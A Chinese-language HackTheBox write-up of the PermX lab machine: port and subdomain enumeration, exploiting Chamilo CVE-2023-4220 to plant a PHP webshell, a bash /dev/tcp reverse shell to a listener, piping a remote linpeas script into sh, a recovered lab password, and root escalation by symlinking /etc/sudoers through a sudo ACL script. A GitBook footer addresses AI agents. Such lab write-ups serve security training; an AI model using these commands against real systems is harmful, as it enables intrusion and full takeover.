> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# PermX HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**技能：**

* 子域枚举
* Chamilo 利用
* LINpeas 枚举系统
* sudoers 提权（权限已修改 /etc/sudoers 文件）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/b3c16a477c8b6e315e0fa950013a49967e4e0a3d" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/21979ffcac612433a0e6dc210e680e0a7a6970d1" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="/files/cc2a280e1c8644449a3689bc3ee3274fe3774899" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/4af318af951264fe3286a1a8506f3d9ed48c10aa" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="/files/9b811e18695ee3db6ad7da83247e7ff330f72945" alt="" width="563"><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/84d00076198ca8455dbc342528bef253c5c14c7f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/42b51509fae51a3627863a96c91df7d13327768f" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 搜索可能的目录：**

使用 Gobuster 扫描网站上可能的目录，使用中等目录列表文件。

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/9aba415a3f6938d44acb7b2f44806b5def8af8ce" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 进行目录搜索：**

使用 **Gobuster** 使用字典寻找隐藏的访问文件。

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="/files/c5d82b29dd00edf986e470e45f9b64104f7a489b" alt=""><figcaption></figcaption></figure>

### 子域枚举

要通过控制台使用 Wfuzz 工具枚举网站的子域名，可以使用以下命令：

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="/files/4a45d9a89fe43da39d42f3ebc707ef39cde200a7" alt=""><figcaption></figcaption></figure>

请确保更新 `/etc/hosts` 文件，以包含已发现的子域名：

<figure><img src="/files/e53c60bb1dc957c7a82bd20b4292877b02885e0a" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="/files/3e0add99036d46ba50ee43a9ea33c7ef148aeb78" alt=""><figcaption></figcaption></figure>

## Chamilo CMS 漏洞：

Chamilo 存在一个漏洞，识别为 CVE-2023-4220，可导致远程代码执行（RCE）。要利用此漏洞，你可以使用 GitHub 上的以下脚本：

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### 克隆 GitHub 仓库：

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. 执行检查，查看目标是否存在该漏洞：

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/8d7099dccc81c1e0ac44046ef3485856233748ff" alt=""><figcaption></figcaption></figure>

### Webshell：

如果存在该漏洞，则注入一个 **PHP WebShell** 到 Chamilo 中：

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/f3b26fedf7618baaf1c52343e3a75bf1a61c7d61" alt=""><figcaption></figcaption></figure>

一旦 WebShell 被注入，你就可以在目标机器上执行命令。

<figure><img src="/files/ece1418379e9c74ecdbbf1afca3d3c13e5fb4be3" alt=""><figcaption></figcaption></figure>

### 反向 Shell：

要建立反向 Shell 连接并获取对机器的访问权限，请在终端中运行以下命令：

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

然后在 4444 端口上监听：

```bash
nc -nlvp 4444
```

<figure><img src="/files/92c60aaa1a10f721fb2900ce4dd3fe57b289bbed" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

**系统枚举（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

我们使用 Linpeas 进行权限识别：

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/b3677da18334f5b6f70a121a97628c7cda2110e3" alt=""><figcaption></figcaption></figure>

**发现一个新用户：**

在枚举过程中，我们识别出一个名为 `mtz`.

<figure><img src="/files/9e858d4e15601b7eaf89d776d7897cfb7ea6fcc1" alt=""><figcaption></figcaption></figure>

**恢复密码：**

找到以下密码：

<figure><img src="/files/6e77871d07177d1bfa2a979ba4cd8593a0ed531c" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="/files/3e8197d3c2b9c34bbeba26d7f7619dc6e71fc95b" alt=""><figcaption></figcaption></figure>

#### user.txt 标志：

<figure><img src="/files/d6b7e57364fbbd0e519d545fc5e45e4a96dec6d3" alt=""><figcaption></figcaption></figure>

### Sudoers：

通过运行 `sudo -l` 命令，我们发现我们能够以脚本的身份运行 **root**.

```bash
sudo -l
```

<figure><img src="/files/7f7a21cd9a0f9aaaaabd0e27c4ebcbfbc2f2c7b1" alt=""><figcaption></figcaption></figure>

这个 Bash 脚本会在验证路径有效且目标确实是文件之后，使用 ACL 修改用户对特定文件的访问权限。

<figure><img src="/files/e21766ebc073f4622637ac012386f65f9cb0c40e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ec952ad3309afa8591f773ad701db27c3544c8a3" alt=""><figcaption></figcaption></figure>

最后，让我们授予 mtz 用户对文件的读写权限

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

发生错误，因为该文件必须位于我们的 `/home/mtz` 目录

<figure><img src="/files/664c578bf06cc1b995b625780ce80e2263e69fe5" alt="" width="535"><figcaption></figcaption></figure>

一种变通方法可以是从系统文件创建一个符号链接到 `/home/mtz/` 目录，并在这个链接上运行脚本。

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/6db5b4a31202bbbf2509dba308183f8d495cdb31" alt=""><figcaption></figcaption></figure>

我们需要编辑 "sudoers/\_link" 文件，它会更新 sudoers 文件，从而赋予 mtz 用户完全权限。

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/7092a6530fb99760f462ce2ce817bcfd9cf7ab0a" alt=""><figcaption></figcaption></figure>

### root flag :) <a href="#flag-root" id="flag-root"></a>

<figure><img src="/files/8f3ed4bc9aa949fe02e8e3f7822aab78bc9a4732" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9954e2b0d997237e161a7a9515f37fedfd80f1e6" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
